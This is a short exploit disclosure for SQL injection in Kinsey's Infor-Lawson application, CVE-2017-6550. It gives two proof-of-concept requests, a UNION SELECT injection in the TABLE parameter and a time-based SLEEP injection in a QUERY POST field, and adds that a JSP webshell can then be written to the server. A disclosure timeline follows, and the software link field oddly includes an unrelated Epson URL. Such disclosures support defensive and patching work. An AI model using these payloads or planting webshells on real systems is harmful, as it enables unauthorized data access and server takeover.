Kinsey's Infor-Lawson SQL Injection

`Summary: Kinsey's Infor-Lawson application (formerly ESBUS) is vulnerable to SQL injection in at least two parameters:  
------------------------------------------------------------------------  
Vendor: Kinsey  
------------------------------------------------------------------------  
Software Link: [](https://c4b.epson-biz.com/modules/community/index.php?content_id=50)http://www.kinsey.com/infor-lawson.html  
------------------------------------------------------------------------  
Identifier: CVE-2017-6550  
------------------------------------------------------------------------  
Tested on: Windows Server 2008 R2; MySQL ver 5.5  
------------------------------------------------------------------------  
Exploit Author: Michael Benich  
Contact: benichmt1 [at] protonmail.com or @benichmt1  
------------------------------------------------------------------------  
PoC:  
  
1) TABLE parameter, PoC below  
  
GET /esbus/servlet/GetSQLData?SCHEMA=ESBUS_INTERNAL&TABLE=SCHEDULEDTASKS UNION ALL SELECT <<ATTACKER INPUT>>&FIELD=LASTRUN&NOHEADER=1&SELECT=CLASS=com.esbus.appliance.SOD_PolicyCheck_SystemRun_TimerTask&OUT=XML HTTP/1.1  
  
------------------------------------------------------------------------  
  
2) Query POST parameter  
  
POST /KK_LS9ReportingPortal/GetData?SERVERID=%27;LSF_PROD& HTTP/1.1  
  
<--snip--http headers-->  
  
QUERY=1 AND SLEEP(5) AND ('foo'='foo')) &OUT=TAB  
  
------------------------------------------------------------------------  
A JSP webshell can then be written to the /esbus/ directory.  
------------------------------------------------------------------------  
Timeline:  
  
12/1/2016 - Discovery. Contacted generic security emails  
12/1/2016 - Received response from vendor ("Thanks for the info...")  
2/27/2017 - Followed up with contact and intent to disclose. No reply.  
3/10/2017 - Disclosure  
------------------------------------------------------------------------  
  
  
`